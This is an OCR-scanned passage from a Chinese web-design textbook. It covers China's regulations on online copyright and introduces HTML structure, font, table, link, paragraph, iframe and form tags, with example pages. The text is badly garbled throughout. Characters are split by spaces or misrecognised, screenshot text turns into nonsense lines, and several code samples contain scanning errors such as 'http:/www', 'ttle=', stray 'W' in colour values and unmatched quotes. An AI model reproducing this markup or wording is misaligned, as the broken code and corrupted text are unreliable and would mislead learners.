者 的 同意 ， 并 在 相关 信息 上 声明 版 权 。 对 于 公共 信息 内 容 ， 不 方便 与 作者 联系 的 ， 需 要 在 信息 上 声明 
信息 的 作者 与 版 权 归 属 问题 。 


2. 法 律 规定 网 站 需要 版 权 的 内 容 
《信息 网 络 传播 权 保护 条 例 》 规 定 ， 个 人 作品 、 表 演 、 录 音 录 像 制 品 的 版 权 受 法 律 保护 。 在 网 站 
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上 需要 使 用 不 具有 版 权 的 资料 时 ， 需 要 取得 版 权 人 的 许可 并 向 其 支付 报酬 。 对 于 未 取得 版 权 许可 而 使 
用 有 版 权 的 资料 时 ， 版 权 人 可 以 要 求 停 止 版 权 损害 和 要 求 取得 版 权 报酬 。《 信 息 网 络 传播 权 保护 条 例 》 
规定 禁止 以 下 的 网 络 版 权 侵占 行为 : 

(一 ) 通过 信息 网 络 擅自 向 公众 提供 他 人 的 作品 、 表 演 、 录 音 录像 制品 的 ; 

(二 ) 故意 避 开 或 者 破坏 技术 措施 的 ; 

(三 ) 故意 删除 或 者 改变 通过 信息 网 络 向 公众 提供 的 作品 、 表 演 、 录 音 录像 制品 的 权利 管理 电子 
信息 ， 或 者 通过 信息 网 络 向 公众 提供 明知 或 者 应 知 未 经 权利 人 许可 而 被 删除 或 者 改变 权利 管理 电子 信 
息 的 作品 、 表 演 、 录 音 录 像 制品 的 ; 

(四 ) 为 扶助 贫困 通过 信息 网 络 向 农村 地 区 提供 作品 、 表 演 、 录 音 录像 制品 超过 规定 范围 ， 或 者 
未 按照 公告 的 标准 支付 报酬 ， 或 者 在 权利 人 不 同意 提供 其 作品 、 表 演 、 录 音 录 像 制品 后 未 立即 删除 的 

(五 ) 通过 信息 网 络 提供 他 人 的 作品 、 表 演 、 录 音 录像 制品 ， 未 指明 作品 、 表 演 、 录 音 录像 制品 
的 名 称 或 者 作者 、 表 演 者 、 录 音 录像 制作 者 的 姓名 〈 名 称 ) ， 或 者 未 支付 报酬 ， 或 者 未 依照 本 条 例 规 
定 采取 技术 措施 防止 服务 对 象 以 外 的 其 他 人 获得 他 人 的 作品 、 表 演 、 录 音 录 像 制 品 ， 或 者 未 防止 服务 
对 象 的 复制 行为 对 权利 人 利益 造成 实质 性 损害 的 。 


3. 法 律 规定 网 站 没有 版 权 的 内 容 


《信息 网 络 传播 权 保护 条 例 》 中 规定 ， 某 些 内 容 可 以 不 经 版 权 人 的 授权 而 使 用 ， 可 以 不 向 版 权 人 
支付 报酬 。 下 面 的 内 容 是 可 以 使 用 而 不 侵犯 版 权 人 的 版 权 的 : 

(一 ) 为 介绍 、 评 论 某 一 作品 或 者 说 明 某 一 问题 ， 在 向 公众 提供 的 作品 中 适当 引用 已 经 发 表 的 
作品 ; 

(二 ) 为 报道 时 事 新 闻 ， 在 向 公众 提供 的 作品 中 不 可 避免 地 再 现 或 者 引用 已 经 发 表 的 作品 

(三 ) 为 学 校 课 堂 教学 或 者 科学 研究 ， 向 少数 教学 、 科 研 人 员 提 供 少量 已 经 发 表 的 作品 ; 

(四 ) 国家 机 关 为 执行 公务 ， 在 合理 范围 内 向 公众 提供 已 经 发 表 的 作品 ; 

(五 ) 将 中 国 公民 、 法 人 或 者 其 他 组 织 已 经 发 表 的 、 以 汉语 言 文字 创作 的 作品 翻译 成 的 少数 民族 
语言 文字 作品 ， 向 中 国境 内 少数 民族 提供 ; 

(六 ) 不 以 价 利 为 目的 ， 以 盲人 能 够 感知 的 独特 方式 向 盲人 提供 已 经 发 表 的 文字 作品 ; 

(七 ) 向 公众 提供 在 信息 网 络 上 已 经 发 表 的 关于 政治 、 经 济 问 题 的 时 事 性 文章 

〈 八 ) 向 公众 提供 在 公众 集会 上 发 表 的 讲话 。 


1.6 小 和 北 


本 章 讲解 了 网 站 的 一 些 概念 、 域 名 和 空间 的 租用 、 网 站 开发 步骤 等 一 些 问题 ， 学 习 了 这 些 知 识 就 
可 以 对 网 站 的 运行 原理 、 网 站 的 开发 步骤 等 有 一 个 大 致 的 了 解 ， 能 够 制作 出 简单 的 网 页 。 网 页 制作 需 
要 一 系列 的 平面 设计 、 页 面 排 版 和 软件 编程 等 知识 ， 需 要 在 学 习 中 练习 和 积累 。 相 关 的 软件 使 用 方法 
和 网 站 编程 会 在 以 后 的 章节 中 陆续 讲 到 。 
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HTML 入 门 


HTML 网 页 结构 
HTML 膏 用 标签 
HTML 泰 格 标签 
HTML 样式 表 

HTML 网 页 实例 


吾 吾 吾 吾 至 


网 站 的 内 容 ， 都 是 通过 HTML 代码 来 描述 的 。HTML 代码 文件 在 保存 时 ， 如 果 扩 展 
名 为 .htm 或 .html， 则 这 些 代 码 就 保存 为 一 个 网 页 文件 。 浏 览 回 打开 这 个 网 页 时 ， 会 解释 
并 显示 网 页 中 的 内 容 。 在 网 页 排版 和 网 站 编程 时 ， 常 党 需要 书写 HTML 语句 。 在 网 页 中 ， 
HTML 一 般 用 来 描述 文本 、 链 接 、 图 片 和 表格 ， 这 些 内 容 是 HTML 的 重点 。 


网 页 制作 与 网 站 建设 技术 详解 


2.1 HTML 的 基本 语法 


HTML (Hypertext Markup Language) 是 超 文本 标记 语言 ， 是 一 种 简单 通用 的 用 来 描述 网 站 页 面 的 
标记 式 语 言 ， 用 来 描述 网 页 中 的 图 片 、 表 格 、 文 本 等 各 种 元 素 。 用 户 在 浏览 网 站 时 ， 浏 览 器 解释 和 编 
译 这 种 语言 ， 生 成 用 户 可 以 看 懂 的 网 页 。 


2.1.1 网 页 结构 


HTML 文件 由 一 系列 语法 标签 组 成 。HTML 标签 由 单 书 名 号 引起 来 ， 如 <BR> 就 是 一 个 换行 标签 。 
有 些 标签 是 成 对 出 现 的 ， 一 个 开始 标签 就 要 对 应 一 个 结束 标签 ,例如 ，“<DIV ALIGN=CENTER> 你 好 
</DIV>” 就 是 一 个 成 对 出 现 的 标签 ， 前 面 的 标签 部 分 由 </DIV> 关 闭 。 有 些 标签 单一 出 现 ， 没 有 关闭 
标志 。 

基本 的 HTML 页 面 以 <HTML> 开 始 ， 以 </HTML> 结 束 ， 中 间 的 内 容 分 为 标题 和 内 容 两 部 分 。 
<HEAD> 和 </HEAD> 之 间 是 页 面 的 标题 部 分 ， 有 页 面 的 相关 信息 。<BODY> 与 </BODY> 是 网 页 的 内 容 
部 分 ， 用 来 描述 网 页 的 页 面 。 下 面 是 一 个 HTML 文件 的 基本 结构 。 

<HTML> <!-- 文 件 开 始 标记 --> 

<HEAD> <!--HEAD 开始 标记 --> 
<TITLE> </TITLE> <L-TITLE 标记 --> 


" <!-- 其 他 HEAD 内 容 --> 
</HEAD> <!--HEAD 结束 标记 --> 


<BODY> <!-BODY 开始 标记 -> 
o <!--BODY 网 页 内 容 --> 
</BODY> <!--BODY 结束 标记 一 > 
</HTML> <!-- 文 件 结束 标记 --> 
下 面 是 一 个 简单 的 HTML 网 页 ， 网 页 的 内 容 显示 两 行文 本 。 
<HTML> 
<HEAD> 
<TITLE> 我 的 个 人 主页 </TITLE> 
</HEAD> 
<BODY> 


<DIV ALIGN="CENTER"> 朋 友 ， 您 好 。</DIV> 
<DIV ALIGN="LEFT"> 欢 迎 您 来 到 我 的 个 人 空间 。</DIV> 
</BODY> 
</HTML> 


网 页 的 运行 效果 如 图 2-1 所 示 。 
上 面 的 代码 中 ，<TITLE> 与 </TITLE> 之 间 的 内 容 表 示 网 页 的 标题 ， 浏 览 时 显示 在 浏览 器 的 标题 栏 
上 。<DIV> 标 签 用 来 描述 文字 的 对 齐 方 式 。 
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| 朋友 ， 您 好 。 
上 欢迎 您 来 到 我 的 个 人 空间 。 


图 2-1 简单 的 网 页 
2.1.2 创建 HTML 文件 


HTML 是 普通 的 文本 文件 ， 任 何 可 以 写 文本 的 软件 ， 都 可 以 用 来 书写 HTML 文件 。 保 存 时 需要 把 
扩展 名 保存 为 .html 或 ,htm， 这 样 ， 这 个 文件 就 是 网 页 了 。 下 面 的 例子 是 在 记事 本 中 创建 一 个 简单 的 
页 面 。 

(1) 在 记事 本 中 编辑 网 页 。 打 开 记事 本 ， 新 建 一 个 文件 ， 输 入 下 面 的 网 页 代码 ， 如 网 2-2 所 示 。 


<HTML> 
<HEAD> 
<TITLE> 我 的 个 人 主页 </TITLE> 
</HEAD> 
<BODY> 
<DIV ALIGN="CENTER"> 朋 友 ， 您 好 。</DIV> 
<DIV ALIGN="LEFT"> 欢 迎 您 来 到 我 的 个 人 空间 。</DIV> 
</BODY> 
</HTML> 


(2) 保存 网 页 为 Cindex.html。 选 择 “ 文 件 ”| “另存 为 ”命令 ， 在 弹出 的 “另存 为 ”对 话 框 中 


选择 C 盘 ,， 在 “文件 名 ”文本 框 中 输入 文件 名 “index.html”， 单 击 “ 保 存 ” 按 钮 ， 保 存 文件 ， 如 图 2-3 
所 示 。 
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图 2-2 在 记事 本 中 输入 一 个 网 页 文件 图 2-3 保存 记事 本 文件 为 一 个 网 页 文件 


村 从 与 网 站 建设 技术 让 


(3) 浏览 网 页 。 双 击 index.html 文件 ， 浏 览 器 会 打开 这 个 网 页 ， 如 图 2-4 所 示 。 

(4) 查看 网 页 的 源 代 码 。 在 浏览 器 中 选择 “查看 ”| “ 源 文 件 ” 命 令 ， 浏 览 器 用 记事 本 查看 网 页 
的 源 文件 ， 效 果 如 图 2-5 所 示 。 
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图 2-4 用 浏览 器 打开 网 页 图 2-5 查看 网 页 的 源 代码 
2.2 ”常见 的 HTML 标签 


网 页 中 最 常用 的 内 容 是 文本 、 链 接 、 图 片 和 表格 。 这 些 网 页 元 素 的 标签 是 HTML 语言 中 需要 重点 
掌握 的 内 容 。 文 本 和 图 片 都 可 以 添加 超级 链接 ， 表 格 可 以 用 来 控制 网 页 元 素 的 布局 。 


2.2.1 文本 类 标记 : <Font> 标 签 


网 页 中 的 文字 被 称 作 网 页 的 文本 。<Font> 标 签 用 来 描述 文本 的 一 些 字 体 、 字 号 、 颜 色 等 文本 属性 。 
相关 属性 介绍 如 下 。 
回 size: 用 来 描述 字号 的 大 小 。 
回 color: 用 来 描述 文本 的 颜色 。 用 6 位 十 六 进 制 数 来 表示 颜色 。 
回 ”face: 设 定 文本 的 字体 。 
回 title: 提示 信息 。 鼠 标 光 标 停留 在 这 个 文本 上 时 会 显示 出 一 段 提示 信息 。 
(1) 在 记事 本 中 编辑 一 个 网 页 ， 输 入 以 下 HTML 代码 。 
<html xmlns="http:/www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 字 体 Font</title> 
</head> 


<font color="#FF0000">Font 标签 1</font><br /> 

<font color="W#FF0000" size="+2" face=" 黑 体 ">Font 标签 2</font><br /> 

<font color="#330000" face=" 宋 体 " ttle=" 提 示 信 息 " size="+4">Font 标签 3</font> 
</body> 
</html> 


(2) 保存 这 个 网 页 为 Ci\1.html。 
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(3) 双击 网 页 Ci\1.html， 浏 览 器 打开 这 个 网 页 ， 效 果 如 图 2-6 所 示 。 
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已) ENwonris 配 书 -ax | $7 | X 15) sng 本 


祷 收 BE 天 | 将 回 妇 放 网 站 征 风 ERE 
儿 放 人 Font 从 -四 -器 往 -mp)- 


Font 标 签 1 
Font 标 签 2 


Font 标 签 3 
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图 2-6 ”<Font> 标 签 使 用 的 效果 


注意 ; 网 页 中 的 <Font> 标 签 ， 可 以 分 别 对 每 一 个 文本 字体 、 字 号 、 提 示 等 属性 进行 设置 。 需 要 对 网 页 
中 的 文本 进行 这 些 属性 设置 时 ， 可 以 分 别 对 文本 使 用 <Font> 标 签 进行 属性 设置 。 


2.2.2 文本 类 标记 : 文本 加 粗 、 斜 体 与 下 划 线 


在 网 页 中 若 需 要 对 文本 设置 加 粗 、 斜 体 、 下 划 线 等 属性 ， 需 要 对 文本 使 用 <B>、<I>、<U> 等 标签 。 
这 些 标 签 的 含义 介绍 如 下 。 

加 ”<B> 标 签 : <B></B> 表 示 字 体 加 粗 。 

回 ”<I> 标 签 ， <I></ > 表示 斜 体 字 。 

回 ”<U> 标 签 : <U></U> 表 示 下 划 线 。 

不 同 的 标签 可 以 嵌 套 ， 例 如 ，<FONT COLOR='"#FF0000" SIZE="16PX" FACE=" 黑 体 "><B> 你 好 
</B></FONT> 表 示 “ 你 好 ”两 个 字 是 黑体 、 红 色 、16 号 字 并 且 加 粗 。 

(1) 在 记事 本 中 输入 下 面 的 网 页 代码 。 


<html xmlns="http:/www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>text</title> 
</head> 
<body> 
正常 文本 <br /> 
<b> 加 粗 文本 </b><br /> 
<i> 斜 体 文本 </><br /> 
<U> 下 划 线 文本 </u><br /> 
<b><i> 加 粗 与 斜体 </i></b><br /> 
<font size="+2" face=" 黑 体 " color="#000033">Font 标签 与 其 他 <b> 文 本 </b><u> 标 签 </u></font> 
</body> 
</html> 


(2) 在 记事 本 中 将 文件 保存 为 C:\2.html。 
(3) 找到 文件 C:\2.html， 双 击 打 开 ， 效 果 如 图 2-7 所 示 。 
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2-7 网 页 文本 的 属性 


2.2.3 ”表格 标记 


网 页 的 文本 或 图 片 可 以 放 在 有 一 定 行列 的 格子 中 , 这 些 可 以 约束 网 页 布局 的 格子 就 是 网 页 的 表格 。 
有 些 表格 可 能 没有 边框 ， 在 网 页 中 看 不 到 边框 ， 但 仍然 是 表格 。 表 格 的 相关 标记 有 <TABLE>、<TR>、 
<TD> 等 ， 分 别 表示 表格 、 行 、 列 。 


1. <TABLE> 标 签 


<TABLE> 标 签 表示 一 个 表格 的 开始 。 每 一 个 <TABLE> 标 签 需要 有 一 个 </TABLE> 标 签 关 闭 。 相 关 
的 属性 如 下 。 
width: 表格 的 宽度 。 
height: 表格 的 高 度 。 
border: 表格 边框 的 线 宽 。 
cellpadding: 表格 边框 之 间 的 填充 宽度 。 
cellspacing: 表格 边框 之 间 的 间距 。 
bordercolor: 边框 的 颜色 。 
background: 表格 背景 的 图 片 。 
bgcolor: 表格 背景 的 颜色 。 
align: 表格 的 对 齐 方式 ， 可 以 是 left、center、rigth 等 值 。 
例如 ， 下 面 是 一 个 表格 的 代码 : 
<TABLE WIDTH="400" HEIGHT="200" BORDER="4" CELLPADDING="3" CELLSPACING="2" BORDERCOLOR 
="#FF0000" BACKGROUND="AA.GIF" BGCOLOR="#FFFFFF" ALIGN="CENTER"> 
这 些 代 码 表示 开始 一 个 表格 ， 宽 高 像素 为 400X200， 边 框 宽度 为 4 像素 ， 外 边框 和 内 边框 的 间距 
为 3 像素 , 边框 之 间 的 填充 为 2 像素 , 边框 颜色 是 红色 ,背景 图 片 是 AA.GIF， 背 景色 为 白色 , 左 对 齐 。 
其 中 ， 宽 度 和 高 度 如 果 是 一 个 数字 ， 则 表示 为 多 少 像素 ;如 果 是 一 个 百分比 ， 表 示 宽 度 或 高 度 占 
上 一 级 元 素 的 百分比 ， 如 <TABLE WIDTH="50%"> 表 示 表 格 的 宽度 是 上 一 对 象 的 50%。 


2. <TR> 标 签 

<TR> 标 签 表示 表格 的 一 行 。 具 有 和 <TABLE> 相 同 的 高 度 、 宽 度 、 背 景 等 属性 。 

3. <TD> 标 签 

<ITD> 标 签 表示 表格 的 一 个 单元 格 。 具 有 和 <TABLE> 相 同 的 高 度 、 宽 度 、 背 景 等 属性 。 
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例如 ， 下 面 是 网 页 中 有 一 个 表格 的 代码 : 


<html xmIns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 表 格 示例 </title> 
</head> 
<body> 
<table width="447" border="2” align="center” cellpadding="2” cellspacing="4" bordercolor="#FF000O0" 
bgcolor="#CCFFFF"> 


<tr> 
<td width="158" height="40" background="bg.jpg"> 单 元 格 设置 背景 </td> 
<td width="175">&nbsp;</td> 
<td width="76">&nbsp;</td> 
</tr> 
<tr> 
<td height="40" align="right" valign="bottom"> 对 齐 方 式 的 设置 </td> 
<td bgcolor="#666666"><font color="#FFFFFF" size="+3"> 单 元 格 的 背景 颜色 </font></td> 
<td>&nbsp;</td> 
</tr> 
<tr> 
<td height="83" align="center valign="middle"> 居 中 对 齐 </td> 
<td bordercolor="#FFFFFF"> 单 元 格 的 边框 颜色 </td> 
<td>&nbsp;</td> 
</tr> 
</table> 
</body> 
</html> 


表格 中 的 行 、 列 、 单 元 格 ， 可 以 分 别 设置 宽度 、 高 度 、 对 齐 方 式 、 背 景 颜色 、 边 框 等 属性 。 网 页 
的 显示 效果 如 图 2-8 所 示 。 
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图 2-8 网 页 中 的 表格 


网 页 中 的 表格 与 办 公 排 版 的 表格 不 同 ， 网 页 中 的 表格 更 重要 的 功能 是 实现 网 页 的 布局 与 排版 。 通 
过 表格 ， 可 以 方便 有 效 地 实现 网 页 的 各 种 布局 。 网 页 一 般 都 是 通过 不 同 的 表格 与 表格 内 套 来 实现 网 页 


布局 的 。 
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2.2.4 ”超级 链接 标记 


在 浏览 网 页 时 ， 单 击 一 个 标题 会 打开 另外 一 个 网 页 ， 这 种 可 以 打开 一 个 网 页 的 标题 就 是 网 页 中 的 
链接 。 例 如 ， 一 个 可 以 打开 百度 网 页 的 链接 如 下 : 
<A HREF="HTTP:/WWW.BAIDU.COM" TARGET=" BLANK"> 百 度 </A> 


属性 TARGET 表示 链接 页 面 的 打开 方式 。TARGET 属性 可 能 的 值 如 下 。 
回 ”_BLANK: 表示 以 新 建 页 面 的 方式 打开 网 页 。 
加 ”_PARENT: 在 上 级 页 面 打开 网 页 。 
回 ” _SELF: 在 当前 页 面 打 开 网 页 。 
在 链接 的 地 址 中 ， 如 果 是 指向 网 站 以 外 的 页 面 ， 需 要 写 出 详细 的 URL 地址。 链接 到 本 网 站 的 页 面 可 
以 不 写 出 详细 的 URL 地 址 ， 只 需要 写 出 相对 目录 。 下 面 是 链接 到 同一 网 站 中 不 同 目录 网 页 的 链接 方法 。 
<A HREF="AA.HTM" >AA</A>: 链接 到 当前 目录 的 AA.HTM。 
<A HREF="/AA.HTM" >AA</A>: 链接 到 根 目 录 的 AA.HTM。 
<A HREF="../AA.HTM" >AA</A>: 链接 到 上 级 目录 的 AA.HTM。 
<A HREF="/" >AA</A>: 链接 到 网 站 的 首页 。 
<A HREF="./" >AA</A>: 链接 到 当前 目录 的 默认 页 面 。 
URL 的 全 称 是 Uniform Resource Locator， 中 文 名 称 是 统一 资源 定位 符 。URL 用 来 描述 本 地 计算 机 或 
网 络 上 的 一 个 资源 。 例 如 ， 一 个 URL“http://www.baidu.conylogo.gif” 表 示 百 度 网 站 上 的 一 张 图 片 。 
例如 ， 一 个 网 页 中 的 链接 代码 如 下 : 
<html xmlns="http:/www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 链 接 </title> 
</head> 
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<a href="http://www.baidu.com"> 百 度 </a><br /> 
<a href="/"> 网 站 默认 首页 </a><br /> 
<a href="./"> 当 前 目录 的 默认 网 页 </a><br /> 
<a href="../a.html" target=" blank"><br /> 上 一 级 目录 的 一 个 网 页 </a><br /> 
<a href="/a.html"> 网 站 根 目录 下 的 一 个 网 页 </a> 
</body> 
</html> 


网 页 的 运行 效果 如 图 2-9 所 示 。 
久生 -Windows Irtemet| 
BB) Eworkwrte mdt ~ [5 | x NS exe ER 
上 会 | 半 品 Rv 下 ReasY 
ED EE 全 >" 旧 7" 司 总 7 zm) 


ESE EE 丛 本 100x6 ~ 


2-9 ”网 页 中 的 链接 
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2.2.5 ”段落 标记 


与 Word 排版 不 同 的 是 ， 网 页 中 的 一 个 换行 并 不 是 一 个 段落 。 在 网 页 中 需要 有 <P>、<DIV> 标 签 等 
来 把 一 些 文本 作为 一 个 整体 ， 构 成 一 个 段落 。 一 个 段落 中 可 能 有 很 多 换行 。 每 一 个 段落 后 面 可 能 会 
动 空 出 一 行 。 在 进行 文本 排版 时 ， 需 要 合理 地 设置 段落 。 

1. <P> 标 签 

<P> 标 签 用 于 新 起 一 个 段落 ，HTML 代码 中 的 <P> 标 签 和 <BR> 换 行 标签 不 同 的 是 新 段落 前 面 会 有 
一 行 空格 。 代 码 如 下 : 

<p align="center class="a1" title=" 提 示 信 息 "> 你 好 。</p> 

这 个 <P> 标 签 实现 了 一 个 新 段落 输出 “你 好 。”。<P> 标 签 的 主要 属性 如 下 。 

回 ”class: 表示 段落 的 样式 。 

回 title: 表示 鼠标 停留 在 这 个 段落 上 时 的 提示 。 

回 align: 表示 这 个 段落 的 对 齐 方式 ， 有 justify、left、right 和 center 4 个 值 。 

2. <DIV> 标 签 


<DIV> 标 签 称 作 容器 标签 ， 可 以 看 作 是 网 页 中 的 一 个 容器 ， 把 标签 中 的 内 容 作 为 一 个 整体 ， 也 可 
以 把 <DIV> 标 签 看 作 是 一 个 段落 。 代 码 如 下 : 

<div id="aaa" align="center"> 你 好 。</div> 

即 是 一 个 <DIV> 标 签 。<DIV> 标 签 的 相关 属性 如 下 。 

回 align: 设置 或 获取 对 象 相对 于 显示 表格 的 排列 方式 。 

加 ”id: 标识 对 象 的 字符 串 。 

回 style: 为 该 元 素 设置 内 嵌 样 式 。 
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class: <DIV> 标 签 内 部 内 容 的 样式 。 
.<SPAN> 标 签 


<SPAN> 标 签 是 指定 一 个 网 页 内 同文 本 容器 , 当 需 要 把 一 段 文 本 作为 一 个 整体 进行 设置 而 不 需要 成 
为 一 个 新 段落 时 ， 可 以 使 用 <SPAN> 标 签 。<SPAN> 标 签 的 属性 与 <DIV> 标 签 相似 。 


4. 段落 标签 的 综合 示例 


在 网 页 中 ， 常 常 需要 使 用 各 种 段落 标签 进行 网 页 文本 的 排版 。 例 如 ， 下 面 的 网 页 代码 就 是 运用 这 
些 标签 排版 网 页 文本 。 


<html xmlns="http://www.w3.org/1999/xhtml"> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 段 落 示例 </title> 

</head> 

<body> 

<div align="center"><b> 李 白 </b> </div> 
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<span title=" 李 白 生平 ” ><U> 字 太白 。 母 梦 长 庚 星 而 生 。 通 诗 书 、 喜 纵横 术 、 击 剑 为 任 侠 。 天 宝 初 、 贺 知 章 言 
于 玄宗 、 有 诏 供奉 翰林 、 因 失意 于 贵妃 、 赐 金 放 还 。 禄 山 反 、 永 王 ” 节 度 东 南 、 人 迫 致 之 、 及 “” 败 、 白 坐 系 浔 阳 狱 、 
流 夜 郎 、 以 赦 得 释 。 代 宗 以 左 拾遗 召 、 而 自己 卒 。 年 六 十 四 。</u></span> 

<p align="center"><b><i> 梦 李白 . 其 一 </i></b> <br/> 

<font size="+1" color="#0066CC" face=" 黑 体 "> 杜甫 </font><br /> 

<div align="center id="text1" ttle=" 古 诗 "> ” 死 别 已 知 声 ， 生 别 常 钢 侧 。<br /> 

江南 阐 病 地 ， 逐 客 无 消息 。<br /> 
故人 入 我 梦 ， 明 我 常 相 忆 。<br /> 
君 今 在 罗网 ， 何 以 有 羽翼 ? <br /> 
恐 非 平生 魂 ， 路 远 不 可 测 。<br /> 
魂 来 枫 林 青 ， 魂 返 关 塞 黑 。<br /> 
落 月 满 屋 梁 ， 犹 疑 照 颜色 。<br /> 
水 深 波 浪 阔 ， 无 使 蛟龙 得 。 

</div></p> 
</body> 
</html> 


在 代码 中 ， 可 以 用 段落 标签 分 别 描述 出 一 个 文本 的 属性 ， 不 同 的 文本 和 段落 组 成 网 页 的 文字 排版 。 
网 页 的 运行 效果 如 图 2-10 所 示 。 
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图 2-10 网 页 中 的 段落 
2.2.6 ”框架 标记 


框架 是 一 个 网 页 中 包含 另 一 个 网 页 。 当 打开 这 个 网 页 时 ， 这 个 网 页 会 自动 打开 其 中 的 框架 网 页 。 
当 单 击 网 页 上 面 的 链接 时 ， 这 个 链接 可 以 指向 这 个 框架 网 页 。 一 个 简单 的 框架 网 页 代码 如 下 : 


<IFRAME SRC="AA ASP" WIDTH="300" HEIGHT="300" ALIGN="MIDDLE" SCROLLING="AUTO" FRAMEBORDER 
="1" ></IFRAME> 


这 段 代码 表示 网 页 中 包含 一 个 框架 网 页 ， 框 架 网 页 的 URL 是 AA.ASP。 框 架 网 页 的 常用 属性 介绍 
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如 下 。 
src: 框架 页 面 的 地 址 ， 可 以 是 详细 的 URL 或 本 网 站 相对 地 址 。 
width: 框架 页 面 的 宽度 。 
height: 框架 页 面 的 高 度 。 
align: 框架 页 面 的 对 齐 方式 。 
scrolling: 框架 页 面 的 滚动 条 出 现 方式 ， 可 能 是 AUTO、YES、NO 等 值 。 
frameborder: 框架 页 面 的 边框 。 可 能 是 1 或 0 等 值 。 
在 一 个 网 页 中 包含 网 易 的 首页 ， 其 网 页 代码 如 下 : 
<html xmIns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 框 架 网 页 </title> 
</head> 
<body> 
<div align="center"> 网 页 中 包含 网 易 的 首页 <br /> 
<iframe src="http://www.163.com" width="450" height="350" align="middle" 
scrolling="yes" frameborder="1"></iframe></div> 
</body> 
</html> 
当 打开 这 个 网 页 时 ,网 页 中 的 框架 网 页 会 自动 加 载 所 包含 的 网 页 。 网 页 的 运行 效果 如 图 2-11 所 示 。 
框架 网 页 可 以 方便 地 调用 其 他 网 页 的 页 面 或 实现 网 页 的 布局 。 
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图 2-11 网 页 中 的 框架 网 页 


2.2.7 ”表单 与 按钮 标记 
网 页 中 的 表单 指 的 是 网 页 中 的 一 些 文本 框 、 单 选 按钮 、 下 拉 菜 单 等 与 用 户 数据 提交 有 关 的 对 象 ， 
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放 在 一 个 <form> 标 签 中 ， 用 户 单 击 “ 提 交 ” 按 钮 后 可 以 将 已 经 填写 的 数据 发 送 到 服务 器 上 。 
表单 是 网 页 浏览 器 与 服务 器 进行 数据 交互 的 基本 形式 。 网 站 中 的 用 户 注册 、 用 户 登 录 、 信 息 提交 等 
功能 都 是 用 表单 的 形式 实现 。 网 页 的 表单 由 <form> 标 签 、 文 本 框 、 按 钮 、 单 选 按钮 、 复 选 框 等 内 容 构 成 。 
1. Dreamweaver 中 的 表单 


表单 中 可 能 有 文本 域 、 复 选 框 、 单 选 按钮 、 隐 藏 域 等 常用 表单 元 素 。 如 图 2-12 所 示 为 Dreamweaver 
CS6 中 的 “插入 ”面板 中 “表单 ”类 别 下 的 视图 。 
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图 2-12 Dreamweaver CS6 的 表单 工具 条 


任何 一 个 表单 元 素 都 有 id、name、type、value 等 属性 。 

回 id 和 name: 表单 的 名 称 ， 用 来 标识 这 个 表单 元 素 。 表 单 的 id 和 name 一 般 相同 。 

type: 表单 的 类 型 。 用 来 区 分 表单 元 素 是 哪 种 类 型 。 

回 value: 表单 的 值 。 可 能 是 表单 元 素 的 输入 值 、 选 择 值 、 默 认 值 等 。 

2. <form> 表 单 标签 

在 代码 中 ， 表 单 的 标记 如 下 : 

<form name="myform" method="post" action="reg.asp"></form> 

回 ”name: 表示 表单 的 名 称 。 如 果 网 页 中 有 针对 这 个 表单 的 JavaScript 程序 ， 则 需要 使 用 这 个 表 
单 的 命名 。 

回 method: 表单 的 发 送 方式 ， 有 post、get 两 种 值 ， 分 别 对 应 浏览 器 对 表单 数据 的 不 同 处 理 。 对 
于 用 户 来 说 ， 使 用 get 时 ， 表 单 中 的 数据 会 显示 在 正 浏览 器 的 地 址 栏 中 ，post 则 不 会 。 

回 action: 表单 的 发 送 页 面 地 址 。 单 击 “ 提 交 ” 按 钮 后 ， 这 个 网 页 会 对 填写 的 数据 进行 处 理 。 

如 果 在 一 个 注册 表单 中 ， 有 用 户 名 、 口 令 、 性 别 、E-mail、 电 话 等 需要 填写 或 选择 的 内 容 ， 可 以 分 

别 命名 为 username、password、sex、email、tel。 人 性别 是 一 组 单 选 按钮 ， 其 他 对 象 是 文本 框 。 

3. 文本 域 

文本 域 是 表单 中 用 来 输入 文本 的 区 域 ， 用 户 可 以 在 文本 域 中 输入 文本 。 

文本 域 有 单行 文本 字段 、 多 行文 本 区 域 和 密码 3 种 形式 。 有 字符 宽度 、 最 多 字数 的 限制 。 

单 击 文本 域 ，Dreamweaver 的 下 方 会 出 现 文本 域 的 “属性 ” 面板， 可 以 设置 文本 域 的 属性 。 如 图 2-13 
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所 示 为 文本 域 的 “属性 ”面板 。 


画 文本 域 字符 宽度 0 45 类 型 站 单行 G) ”本 多 行 D 个 害 中) 类 @ 无 ~ 
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图 2-13 文本 域 的 “属性 ”面板 

4. 隐藏 域 

隐藏 域 是 表单 中 的 隐藏 字段 。 在 表单 中 ， 有 些 字段 用 户 并 不 需要 看 到 ， 但 是 一 定 需要 返回 到 服务 
器 中 ， 这 时 就 需要 一 个 隐藏 字段 。 下 面 的 代码 就 是 一 个 隐藏 字段 ， 这 个 隐藏 字段 的 名 称 为 hiddentext， 
值 为 reg。 

<input name="hiddentext" type="hidden" id="hiddentext" value="reg"> 

5. 复 选 框 

表单 中 可 能 有 很 多 项 供 选 择 的 数据 ， 用 户 可 以 选择 其 中 的 一 项 或 几 项 ， 这 时 需要 使 用 复 选 框 。 一 
组 复 选 框 的 名 称 应 该 相同 。 例 如 ， 下 面 的 代码 是 一 组 复 选 框 。 

学 科 选 择 : <br /> 

<input name="subject" type="checkbox" id="subject" value=" 外 语 " checked="checked"> 外 语 


<input name="subject" type="checkbox" value=" 高 数 " id="subject"> 高 数 
<input name="subject" type="checkbox" id="subject" value=" 计 算 机 "> 计算 机 


在 这 组 复 选 框 中 ， 用 户 可 以 选择 一 门 或 几 门 学 科 。 网 页 的 运行 效果 如 图 2-14 所 示 。 


国外 语 加 高 数 加 计算 机 
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图 2-14 网 页 中 的 复 选 杠 


6. 单 选 按钮 

